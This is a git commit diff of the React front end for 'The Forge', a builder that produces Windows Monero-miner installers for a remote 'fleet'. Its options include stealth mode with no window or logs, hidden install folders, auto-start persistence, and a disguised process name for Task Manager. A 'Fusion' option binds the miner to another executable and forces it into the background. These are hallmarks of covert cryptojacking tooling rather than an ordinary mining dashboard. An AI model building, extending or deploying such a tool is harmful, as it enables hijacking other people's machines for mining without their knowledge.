Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -1,50 +1,23 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { useState, useEffect, useRef, useMemo } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
|
||||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
import { applyForgeFieldUpdate, getForgeFieldMeta, getForgeLiveNotices } from '../help/forgeRules';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
const d = config.default_agent_config;
|
||||
return {
|
||||
worker_name: '',
|
||||
server_url: serverInfo.suggested_url,
|
||||
wallet: config.wallet.address,
|
||||
threads: d.threads,
|
||||
thread_mode: d.thread_mode || 'percent',
|
||||
thread_percent: d.thread_percent || 75,
|
||||
cpu_priority: d.cpu_priority,
|
||||
mining_mode: d.mining_mode,
|
||||
display_mode: d.display_mode || (config.background.silent_mode ? 'silent' : 'background'),
|
||||
silent_mode: config.background.silent_mode,
|
||||
run_as: config.background.run_as,
|
||||
auto_start: config.background.auto_start,
|
||||
persistence: config.background.auto_start,
|
||||
process_name: d.process_name || '',
|
||||
max_cpu_usage_pct: d.max_cpu_usage_pct,
|
||||
max_memory_percent: d.max_memory_percent || 70,
|
||||
min_free_ram_mb: d.min_free_ram_mb,
|
||||
idle_threshold_pct: d.idle_threshold_pct,
|
||||
idle_duration_minutes: d.idle_duration_minutes,
|
||||
schedule_start: d.schedule_start,
|
||||
schedule_end: d.schedule_end,
|
||||
install_base: d.install_base || 'localappdata',
|
||||
install_custom_base: d.install_custom_base || '',
|
||||
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
|
||||
adapt_to_hardware: d.adapt_to_hardware ?? true,
|
||||
self_healing: d.self_healing ?? true,
|
||||
file_logging: d.file_logging ?? true,
|
||||
stealth_mode: d.stealth_mode ?? false,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password,
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
};
|
||||
return forgeDefaultsFromServer(config, serverInfo);
|
||||
}
|
||||
|
||||
export default function BuilderPage() {
|
||||
@@ -56,13 +29,41 @@ export default function BuilderPage() {
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
|
||||
const refreshEndpointInfo = async () => {
|
||||
setRefreshingEndpoints(true);
|
||||
try {
|
||||
const [config, info] = await Promise.all([api.getConfig(), api.getServerInfo()]);
|
||||
setServerInfo(info);
|
||||
setListenPort(config.port || info.port || 8989);
|
||||
return info;
|
||||
} finally {
|
||||
setRefreshingEndpoints(false);
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint state
|
||||
const [blueprints, setBlueprints] = useState<BlueprintInfo[]>([]);
|
||||
const [showBlueprints, setShowBlueprints] = useState(false);
|
||||
const [blueprintName, setBlueprintName] = useState('');
|
||||
const [blueprintMsg, setBlueprintMsg] = useState('');
|
||||
const [loadingBlueprints, setLoadingBlueprints] = useState(false);
|
||||
const [compareBlueprint, setCompareBlueprint] = useState<Record<string, unknown> | null>(null);
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
.then(([config, serverInfo]) => setForm(defaultsFromConfig(config, serverInfo)))
|
||||
.then(([config, info]) => {
|
||||
setServerInfo(info);
|
||||
setListenPort(config.port || info.port || 8989);
|
||||
setForm(defaultsFromConfig(config, info));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
setError('Failed to load server defaults from Settings');
|
||||
setError('Failed to load server info — is the control server running?');
|
||||
})
|
||||
.finally(() => setLoadingDefaults(false));
|
||||
}, []);
|
||||
@@ -77,30 +78,136 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: save current form as a named blueprint
|
||||
const handleSaveBlueprint = async () => {
|
||||
if (!form) return;
|
||||
const name = prompt('Enter a name for this blueprint:', form.worker_name || 'my-miner-config');
|
||||
if (!name || !name.trim()) return;
|
||||
setBlueprintMsg('');
|
||||
try {
|
||||
const result = await api.saveBlueprint(name.trim(), form);
|
||||
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
|
||||
setTimeout(() => setBlueprintMsg(''), 3000);
|
||||
} catch (err: any) {
|
||||
setBlueprintMsg(`❌ Failed to save: ${err.message}`);
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: load blueprints list and show picker
|
||||
const handleLoadBlueprint = async () => {
|
||||
try {
|
||||
setLoadingBlueprints(true);
|
||||
const list = await api.listBlueprints();
|
||||
setBlueprints(list);
|
||||
setShowBlueprints(true);
|
||||
} catch (err: any) {
|
||||
setBlueprintMsg(`❌ Failed to load blueprints: ${err.message}`);
|
||||
} finally {
|
||||
setLoadingBlueprints(false);
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: apply a selected blueprint to the form
|
||||
const handleApplyBlueprint = async (name: string) => {
|
||||
try {
|
||||
const data = await api.getBlueprint(name);
|
||||
setCompareBlueprint(data as Record<string, unknown>);
|
||||
// Merge loaded data into form, preserving any fields not in the blueprint
|
||||
setForm((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
setShowBlueprints(false);
|
||||
setBlueprintMsg(`✅ Blueprint "${name}" loaded`);
|
||||
setTimeout(() => setBlueprintMsg(''), 3000);
|
||||
} catch (err: any) {
|
||||
setBlueprintMsg(`❌ Failed to load blueprint: ${err.message}`);
|
||||
}
|
||||
};
|
||||
|
||||
const reForgeFromBuild = async (build: BuildRecord) => {
|
||||
if (!form) return;
|
||||
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||||
setForm(merged);
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
const checks = runForgePreflight(merged, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Re-forge preflight failed — adjust settings and forge manually.');
|
||||
return;
|
||||
}
|
||||
setBuilding(true);
|
||||
try {
|
||||
const result = await api.buildAgent(merged, fusionPrepFile);
|
||||
if (!result.success) throw new Error(result.error || 'Build failed');
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Re-forge failed');
|
||||
} finally {
|
||||
setBuilding(false);
|
||||
}
|
||||
};
|
||||
|
||||
const blueprintDiffRows = useMemo(() => {
|
||||
if (!form || !compareBlueprint) return [];
|
||||
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
|
||||
}, [form, compareBlueprint]);
|
||||
|
||||
// Blueprint: delete a blueprint
|
||||
const handleDeleteBlueprint = async (name: string) => {
|
||||
if (!confirm(`Delete blueprint "${name}"?`)) return;
|
||||
try {
|
||||
await api.deleteBlueprint(name);
|
||||
setBlueprints((prev) => prev.filter((b) => b.name !== name));
|
||||
} catch (err: any) {
|
||||
setBlueprintMsg(`❌ Failed to delete: ${err.message}`);
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: import from a local .json file
|
||||
const handleImportBlueprintFile = () => {
|
||||
fileInputRef.current?.click();
|
||||
};
|
||||
|
||||
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
|
||||
const file = e.target.files?.[0];
|
||||
if (!file) return;
|
||||
const reader = new FileReader();
|
||||
reader.onload = (evt) => {
|
||||
try {
|
||||
const data = JSON.parse(evt.target?.result as string);
|
||||
setForm((prev) => (prev ? { ...prev, ...data } : prev));
|
||||
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
|
||||
setTimeout(() => setBlueprintMsg(''), 3000);
|
||||
} catch {
|
||||
setBlueprintMsg('❌ Invalid JSON file');
|
||||
}
|
||||
};
|
||||
reader.readAsText(file);
|
||||
// Reset input so same file can be re-selected
|
||||
e.target.value = '';
|
||||
};
|
||||
|
||||
// Blueprint: export current form as a downloadable .json file
|
||||
const handleExportBlueprintFile = () => {
|
||||
if (!form) return;
|
||||
const blob = new Blob([JSON.stringify(form, null, 2)], { type: 'application/json' });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `${form.worker_name || 'miner-config'}-blueprint.json`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!form) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
|
||||
if (!form.worker_name.trim()) {
|
||||
setError('Worker name is required');
|
||||
return;
|
||||
}
|
||||
if (!form.server_url.trim()) {
|
||||
setError('Server URL is required');
|
||||
return;
|
||||
}
|
||||
if (!form.wallet.trim()) {
|
||||
setError('Wallet address is required');
|
||||
return;
|
||||
}
|
||||
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
|
||||
setError('Custom install base path is required when Install Base is Custom');
|
||||
return;
|
||||
}
|
||||
if (form.fusion_enabled && !fusionPrepFile) {
|
||||
setError('Fusion requires your prep.exe file');
|
||||
const checks = runForgePreflight(form, !!fusionPrepFile);
|
||||
if (preflightHasErrors(checks)) {
|
||||
setError('Preflight failed — fix errors in the checklist below before forging.');
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -119,15 +226,32 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const updateField = (field: keyof BuildRequest, value: any) => {
|
||||
setForm((prev) => (prev ? { ...prev, [field]: value } : prev));
|
||||
const updateField = (field: keyof BuildRequest, value: unknown) => {
|
||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||
};
|
||||
|
||||
const fieldMeta = useMemo(() => (form ? getForgeFieldMeta(form) : {}), [form]);
|
||||
const liveNotices = useMemo(
|
||||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const preflightChecks = useMemo(
|
||||
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
|
||||
if (loadingDefaults || !form) {
|
||||
return (
|
||||
<div className="page fade-in">
|
||||
<div className="page-header"><h1>Miner Builder</h1></div>
|
||||
<div className="card"><p>Loading defaults from Settings...</p></div>
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
</div>
|
||||
</header>
|
||||
<NeonCard accent="brass"><p>Loading forge defaults from server...</p></NeonCard>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -140,22 +264,95 @@ export default function BuilderPage() {
|
||||
process_name: form.process_name,
|
||||
});
|
||||
|
||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
{/* Hidden file input for importing blueprint .json files */}
|
||||
<input
|
||||
type="file"
|
||||
ref={fileInputRef}
|
||||
style={{ display: 'none' }}
|
||||
accept=".json,application/json"
|
||||
onChange={handleFileSelected}
|
||||
/>
|
||||
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
<p className="page-subtitle">Craft fused or standalone miners for your LAN fleet.</p>
|
||||
<p className="page-subtitle">
|
||||
Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.
|
||||
</p>
|
||||
</div>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
|
||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||
Recent Builds
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
|
||||
💾 Save Blueprint
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
|
||||
📂 Load Blueprint
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
|
||||
⬇️ Export .json
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
|
||||
📥 Import .json
|
||||
</button>
|
||||
</div>
|
||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||
Recent Builds
|
||||
</button>
|
||||
</header>
|
||||
|
||||
{/* Blueprint status message */}
|
||||
{blueprintMsg && (
|
||||
<div className={`save-message ${blueprintMsg.includes('✅') ? 'success' : 'error'}`} style={{ marginBottom: '12px' }}>
|
||||
{blueprintMsg}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Blueprint picker panel */}
|
||||
{showBlueprints && (
|
||||
<div className="card" style={{ marginBottom: '16px' }}>
|
||||
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '12px' }}>
|
||||
<h3 style={{ margin: 0 }}>Saved Blueprints</h3>
|
||||
<button className="btn btn-outline" onClick={() => setShowBlueprints(false)}>Close</button>
|
||||
</div>
|
||||
{loadingBlueprints ? (
|
||||
<p>Loading blueprints...</p>
|
||||
) : blueprints.length === 0 ? (
|
||||
<p className="empty-text">No saved blueprints yet. Configure the form and click "Save Blueprint".</p>
|
||||
) : (
|
||||
<div className="builds-list">
|
||||
{blueprints.map((bp) => (
|
||||
<div key={bp.name} className="build-item">
|
||||
<div className="build-item-name">{bp.name}</div>
|
||||
<div className="build-item-details">
|
||||
<span>{(bp.size / 1024).toFixed(1)} KB</span>
|
||||
<span>{new Date(bp.created_at).toLocaleString()}</span>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '8px' }}>
|
||||
<button className="btn btn-primary" onClick={() => handleApplyBlueprint(bp.name)}>
|
||||
Load
|
||||
</button>
|
||||
<button className="btn btn-outline" onClick={() => handleDeleteBlueprint(bp.name)}>
|
||||
Delete
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="builder-layout builder-layout-wide">
|
||||
<div className="card cheat-sheet-panel">
|
||||
<h2>Setup Cheat Sheet</h2>
|
||||
<h2>Quick links</h2>
|
||||
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
|
||||
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
|
||||
Open Field Guide
|
||||
</Link>
|
||||
<div className="cheat-sheet">
|
||||
{SETUP_CHEATSHEET.map((item) => (
|
||||
<div key={item.title} className="cheat-sheet-item">
|
||||
@@ -167,6 +364,43 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="card builder-form">
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||
</p>
|
||||
<div className="forge-rules-grid">
|
||||
<div className="forge-rule-card">
|
||||
<strong>⛏ Baked into installer</strong>
|
||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🖥 Server folder only</strong>
|
||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🔒 Auto-coupled</strong>
|
||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>✕ Cannot forge until fixed</strong>
|
||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{liveNotices.length > 0 && (
|
||||
<div className="forge-live-notices">
|
||||
<strong className="font-tech">ACTIVE RULES</strong>
|
||||
<ul>
|
||||
{liveNotices.map((n) => (
|
||||
<li key={n}>{n}</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<h2>Build Miner Installer</h2>
|
||||
<p className="form-description">
|
||||
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
|
||||
@@ -175,9 +409,16 @@ export default function BuilderPage() {
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
<div className="form-section">
|
||||
<h3>Identity</h3>
|
||||
<ForgeSectionHeader
|
||||
title="Identity"
|
||||
badge="baked"
|
||||
description="Worker name, control server URL, and payout wallet are embedded in every forged installer."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||
<div className="label-row">
|
||||
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.worker_name} />
|
||||
</div>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
@@ -187,16 +428,50 @@ export default function BuilderPage() {
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Server URL <HelpTip field="server_url" /></label>
|
||||
<div className="form-group endpoint-group">
|
||||
<div className="endpoint-header">
|
||||
<label className="label">Control Endpoint <HelpTip field="server_url" /></label>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={refreshingEndpoints}
|
||||
onClick={() => void refreshEndpointInfo()}
|
||||
>
|
||||
{refreshingEndpoints ? 'Scanning...' : 'Refresh LAN IPs'}
|
||||
</button>
|
||||
</div>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
type="url"
|
||||
className="input mono endpoint-input"
|
||||
placeholder={`http://192.168.1.10:${listenPort}`}
|
||||
value={form.server_url}
|
||||
onChange={(e) => updateField('server_url', e.target.value)}
|
||||
required
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
/>
|
||||
<FieldHint field="server_url" />
|
||||
<p className="form-hint endpoint-hint">
|
||||
Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first.
|
||||
</p>
|
||||
{endpointCandidates.length > 0 && (
|
||||
<div className="endpoint-picks">
|
||||
<span className="endpoint-picks-label font-tech">Quick pick</span>
|
||||
<div className="endpoint-chips">
|
||||
{endpointCandidates.map((url) => (
|
||||
<button
|
||||
key={url}
|
||||
type="button"
|
||||
className={`endpoint-chip ${form.server_url.trim() === url ? 'active' : ''}`}
|
||||
onClick={() => updateField('server_url', url)}
|
||||
title="Use this address in the installer"
|
||||
>
|
||||
{url}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
@@ -208,10 +483,33 @@ export default function BuilderPage() {
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.output_dir} />
|
||||
</div>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="exports"
|
||||
value={(form.output_dir || '') as any}
|
||||
onChange={(e) => updateField('output_dir' as any, e.target.value)}
|
||||
/>
|
||||
<FieldHint field="output_dir" />
|
||||
<ForgeLockedHint meta={fieldMeta.output_dir} />
|
||||
<p className="form-hint">
|
||||
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Pool Configuration</h3>
|
||||
<ForgeSectionHeader
|
||||
title="Pool Configuration"
|
||||
badge="baked"
|
||||
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Host</label>
|
||||
<input
|
||||
@@ -258,7 +556,11 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Performance & Resources</h3>
|
||||
<ForgeSectionHeader
|
||||
title="Performance & Resources"
|
||||
badge="baked"
|
||||
description="Thread count, CPU/RAM limits, and mining schedule. Irrelevant fields lock based on your mode picks."
|
||||
/>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
||||
@@ -268,19 +570,21 @@ export default function BuilderPage() {
|
||||
</select>
|
||||
<FieldHint field="thread_mode" />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<div className={`form-group ${fieldMeta.thread_percent?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||||
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
|
||||
disabled={form.thread_mode === 'fixed'}
|
||||
disabled={fieldMeta.thread_percent?.disabled}
|
||||
onChange={(e) => updateField('thread_percent', parseInt(e.target.value) || 75)} />
|
||||
<ForgeLockedHint meta={fieldMeta.thread_percent} />
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<div className={`form-group ${fieldMeta.threads?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
|
||||
<input type="number" className="input" min={1} max={128} value={form.threads}
|
||||
disabled={form.thread_mode !== 'fixed'}
|
||||
disabled={fieldMeta.threads?.disabled}
|
||||
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)} />
|
||||
<ForgeLockedHint meta={fieldMeta.threads} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
||||
@@ -325,20 +629,25 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
{form.mining_mode === 'idle' && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Idle CPU Threshold (%)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={100}
|
||||
disabled={fieldMeta.idle_threshold_pct?.disabled}
|
||||
value={form.idle_threshold_pct}
|
||||
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Idle Duration (min)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
disabled={fieldMeta.idle_duration_minutes?.disabled}
|
||||
value={form.idle_duration_minutes}
|
||||
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
|
||||
/>
|
||||
@@ -347,20 +656,22 @@ export default function BuilderPage() {
|
||||
)}
|
||||
{form.mining_mode === 'scheduled' && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Start Time</label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
disabled={fieldMeta.schedule_start?.disabled}
|
||||
value={form.schedule_start}
|
||||
onChange={(e) => updateField('schedule_start', e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">End Time</label>
|
||||
<input
|
||||
type="time"
|
||||
className="input"
|
||||
disabled={fieldMeta.schedule_end?.disabled}
|
||||
value={form.schedule_end}
|
||||
onChange={(e) => updateField('schedule_end', e.target.value)}
|
||||
/>
|
||||
@@ -370,11 +681,11 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<h3>Install & Process</h3>
|
||||
<p className="form-description">
|
||||
Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
|
||||
optionally persists, then starts mining in the background.
|
||||
</p>
|
||||
<ForgeSectionHeader
|
||||
title="Install & Process"
|
||||
badge="baked"
|
||||
description="Where the miner installs, how it persists, and how it appears in Task Manager."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||||
<select className="select" value={form.install_base}
|
||||
@@ -389,12 +700,14 @@ export default function BuilderPage() {
|
||||
<FieldHint field="install_base" />
|
||||
</div>
|
||||
{form.install_base === 'custom' && (
|
||||
<div className="form-group">
|
||||
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||||
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
|
||||
disabled={fieldMeta.install_custom_base?.disabled}
|
||||
value={form.install_custom_base}
|
||||
onChange={(e) => updateField('install_custom_base', e.target.value)} />
|
||||
<FieldHint field="install_custom_base" />
|
||||
<ForgeLockedHint meta={fieldMeta.install_custom_base} />
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
@@ -409,13 +722,15 @@ export default function BuilderPage() {
|
||||
<label className="label">Install Preview</label>
|
||||
<code className="path-display">{installPreview}</code>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.adapt_to_hardware?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
|
||||
disabled={fieldMeta.adapt_to_hardware?.disabled}
|
||||
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
|
||||
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
|
||||
</label>
|
||||
<FieldHint field="adapt_to_hardware" />
|
||||
<ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
@@ -428,21 +743,19 @@ export default function BuilderPage() {
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
|
||||
onChange={(e) => {
|
||||
updateField('stealth_mode', e.target.checked);
|
||||
if (e.target.checked) updateField('file_logging', false);
|
||||
}} />
|
||||
onChange={(e) => updateField('stealth_mode', e.target.checked)} />
|
||||
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
|
||||
</label>
|
||||
<FieldHint field="stealth_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.file_logging}
|
||||
disabled={form.stealth_mode}
|
||||
disabled={fieldMeta.file_logging?.disabled}
|
||||
onChange={(e) => updateField('file_logging', e.target.checked)} />
|
||||
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
|
||||
</label>
|
||||
<ForgeLockedHint meta={fieldMeta.file_logging} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
@@ -460,13 +773,15 @@ export default function BuilderPage() {
|
||||
</select>
|
||||
<FieldHint field="display_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<div className={`form-group checkbox-group ${fieldMeta.persistence?.disabled ? 'field-disabled' : ''}`}>
|
||||
